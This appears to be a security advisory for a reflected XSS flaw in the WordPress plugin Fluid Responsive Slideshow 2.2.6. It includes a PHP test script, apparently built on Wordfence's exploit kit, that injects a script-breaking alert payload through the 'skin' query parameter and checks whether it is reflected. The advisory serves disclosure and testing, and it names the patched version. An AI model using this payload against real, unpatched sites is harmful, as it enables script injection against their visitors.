Fluid Responsive Slideshow [Reflected XSS]

Description

Plugin Fluid Responsive Slideshow allows an attacker to reflect an XSS payload via the skin query parameter on any post with a slideshow.

The filter intended to catch this is flawed and fails to do so.

PoC

#!/usr/bin/env php
<?php

/*
 * Exploit Title: Fluid Responsive Slideshow [Reflected XSS]
 * CVSS Severity Score: 4.7 (Medium)
 * CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
 * Discovery Date: 2016-04-03
 * Exploit Author: Jouko Pynnönen
 * Author URL: https://klikki.fi/adv/fluid_responsive_slideshow.html
 * Vendor Homepage: http://sangarslider.com/
 * Software Link: https://wordpress.org/plugins/fluid-responsive-slideshow/
 * WordPress SVN Repo: https://plugins.svn.wordpress.org/fluid-responsive-slideshow/
 * Version: 2.2.6
 * Tested on: WordPress 4.5.2
 * Category: WebApps, WordPress
 * DWF ID: 
 * Description: Exploits improper sanitation on the query parameter `skin` to reflect XSS.
 * PoC: See below.
 * Solution: Fix the sanitation check.
 */

require __DIR__ . DIRECTORY_SEPARATOR . 'vendor' . DIRECTORY_SEPARATOR . 'autoload.php';

use Wordfence\ExKit\WPAuthentication;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\WPNonce;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Page;

if (@Cli::options()['help'])
{
	Cli::write('This exploit tests for:' . PHP_EOL .
		'1. An XSS payload can be reflected via the skin query parameter.'
	);
	exit(ExitCodes::EXIT_CODE_INFORMATIONAL_ONLY);
}

$baseURL = Endpoint::baseURL();
$session = new \Requests_Session();

$postID = Config::get('fluid-responsive-slideshow-2.postid', null, true, 'Post ID');

//Test valid access
$token = md5(time() . 'valid');
$payload = $token . '--';
$r = $session->get($baseURL . '?p=' . $postID . '&skin=' . urlencode($payload));
if (!$r->success || strpos($r->body, $payload) === false) {
	Cli::write('[-] False positive: Valid request failed', 'red', null);
	exit(ExitCodes::EXIT_CODE_VALID_REQUEST_FAILED);
}

Cli::write("[+] Valid request succeeded", 'green', null);

//Test XSS
$token = md5(time() . 'xss');
$payload = "</script><script>alert(/{$token}/);</script><script>({//--";
$r = $session->get($baseURL . '?p=' . $postID . '&skin=' . urlencode($payload));
if (!$r->success || strpos($r->body, $payload) === false) {
	Cli::write('[-] XSS reflection failed', 'green', null);
	exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

Cli::write("[+] XSS reflection succeeded", 'red', null);

exit(ExitCodes::EXIT_CODE_EXPLOIT_SUCCEEDED);

Solution

Update to 2.2.7 or newer.


INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX